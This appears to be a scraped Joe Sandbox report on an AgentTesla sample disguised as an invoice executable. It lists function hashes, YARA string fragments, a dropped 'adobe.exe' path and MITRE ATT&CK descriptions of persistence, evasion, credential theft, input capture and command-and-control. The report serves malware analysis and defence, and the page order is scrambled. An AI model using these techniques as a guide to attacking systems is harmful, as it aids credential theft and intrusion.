API String ID: 0-858218434
Opcode ID: 75a758db849b7cbc9d4a00b49c57ed4c4ec03323a4a839e257ed2a8851137c69
Instruction ID: 671189b28a3c7f47605e1a95b9b4d26857822a35f9e88931173d25c7c120575f
Opcode Fuzzy Hash: 75a758db849b7cbc9d4a00b49c57ed4c4ec03323a4a839e257ed2a8851137c69
Instruction Fuzzy Hash: F7B15D30E00219CFDB54EFA8D584A6EB7F6EF84304F258869D805AB356DB75DC82CB91

Function 06758830 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

LR]q, xrefs: 06758972
LR]q, xrefs: 06758923
$]q, xrefs: 067588AF
$]q, xrefs: 067588BB

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID: LR]q$LR]q$$]q$$]q
API String ID: 0-3527005858
Opcode ID: c686ddd6624f2f1468ca62b695e7cbc2b2ef885e75daf05a0c78b6b3e48006bc
Instruction ID: c28baeec11e752d54474125ac964ebe9f30fbc3ec8154000176e9e564df603f5
Opcode Fuzzy Hash: c686ddd6624f2f1468ca62b695e7cbc2b2ef885e75daf05a0c78b6b3e48006bc
Instruction Fuzzy Hash: 6851D530B002159FDB58EF28D850A7A77F6FF89304F1585A9E8069B3A5DB71EC41CB92

Function 0675AD08 Relevance: 5.2, Strings: 4, Instructions: 166COMMON

Download Yara Rule

Strings

$]q, xrefs: 0675AE8C
$]q, xrefs: 0675AEBB
$]q, xrefs: 0675AEE4
$]q, xrefs: 0675AE39

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 9110d85c7dd9cc560a44cce6795861323bf8fbc37b4fbb5d2c9a252c709993b5
Instruction ID: dc50cefd5cccb38b40313d41a94878d0d097c37d6240107de63282cbe74ed3af
Opcode Fuzzy Hash: 9110d85c7dd9cc560a44cce6795861323bf8fbc37b4fbb5d2c9a252c709993b5
Instruction Fuzzy Hash: CB51A330E102048FDFA5EB64D581A6D77B6EF45301F2686B9DC05E7259DB71DC42CB90

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Statement of Account - USD 16,720.00.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Adobe\adobe.exe

C:\Users\user\AppData\Roaming\Adobe\adobe.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Windows Analysis Report
Statement of Account - USD 16,720.00.exe

Function 0163D208 Relevance: 6.1, APIs: 4, Instructions: 131
threadCOMMON

Function 0163D218 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Function 0163AE50 Relevance: 1.7, APIs: 1, Instructions: 202
COMMON

Function 0163590D Relevance: 1.6, APIs: 1, Instructions: 98
COMMON

Function 01634248 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Function 0163D458 Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Function 0163D460 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Function 0163B050 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre